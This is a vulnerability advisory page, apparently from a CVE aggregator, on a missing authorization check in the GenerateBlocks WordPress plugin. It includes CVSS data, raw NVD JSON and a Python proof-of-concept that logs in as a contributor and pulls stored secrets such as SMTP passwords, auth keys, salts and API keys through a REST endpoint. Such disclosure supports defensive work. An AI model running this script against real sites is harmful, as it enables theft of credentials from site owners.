Security Vulnerability Report
中文
CVE-2025-11879 CVSS 6.5 MEDIUM

CVE-2025-11879

Published: 2025-10-25 06:15:35
Last Modified: 2026-04-15 00:35:42

Description

The GenerateBlocks plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check on the 'get_option_rest' function in all versions up to, and including, 2.1.1. This makes it possible for authenticated attackers, with contributor level access and above, to read arbitrary WordPress options, including sensitive information such as SMTP credentials, API keys, and other data stored by other plugins.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

GenerateBlocks WordPress插件 <= 2.1.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-11879 PoC - GenerateBlocks Unauthorized Options Read # Target: WordPress site with GenerateBlocks plugin <= 2.1.1 TARGET = sys.argv[1] if len(sys.argv) > 1 else 'http://target-wordpress-site.com' USERNAME = sys.argv[2] if len(sys.argv) > 2 else 'attacker' PASSWORD = sys.argv[3] if len(sys.argv) > 3 else 'password' # Sensitive options to check SENSITIVE_OPTIONS = [ 'smtp_password', 'mailserver_pass', 'auth_key', 'secure_auth_key', 'logged_in_key', 'nonce_salt', 'woocommerce_api_key', 'wp_json_api_key' ] def exploit(): # Step 1: Authenticate with contributor-level account session = requests.Session() auth_url = f'{TARGET}/wp-json/jwt-auth/v1/token' auth_data = {'username': USERNAME, 'password': PASSWORD} try: resp = session.post(auth_url, json=auth_data, timeout=10) if resp.status_code != 200: # Fallback to standard WP auth auth_url = f'{TARGET}/wp-login.php' session.post(auth_url, data={'log': USERNAME, 'pwd': PASSWORD}) except: pass # Step 2: Enumerate sensitive options via REST API print(f'[*] Exploiting CVE-2025-11879 on {TARGET}') print(f'[*] Target: GenerateBlocks plugin <= 2.1.1') print('=' * 50) api_endpoint = f'{TARGET}/wp-json/generateblocks/v1/options' for option in SENSITIVE_OPTIONS: try: params = {'option_name': option} resp = session.get(api_endpoint, params=params, timeout=10) if resp.status_code == 200: data = resp.json() if 'value' in data and data['value']: print(f'[+] FOUND: {option}') print(f' Value: {data["value"]}') except Exception as e: print(f'[-] Error checking {option}: {e}') print('[*] Scan complete') if __name__ == '__main__': exploit()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-11879", "sourceIdentifier": "[email protected]", "published": "2025-10-25T06:15:35.490", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The GenerateBlocks plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check on the 'get_option_rest' function in all versions up to, and including, 2.1.1. This makes it possible for authenticated attackers, with contributor level access and above, to read arbitrary WordPress options, including sensitive information such as SMTP credentials, API keys, and other data stored by other plugins."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-285"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/generateblocks/tags/2.1.1/includes/class-meta-handler.php#L19", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/generateblocks/tags/2.1.1/includes/class-meta-handler.php#L356", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/generateblocks/tags/2.1.1/includes/class-meta-handler.php#L78", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/5f1ba1c7-de88-4070-a4ec-fbe4a0c30920?source=cve", "source": "[email protected]"}]}}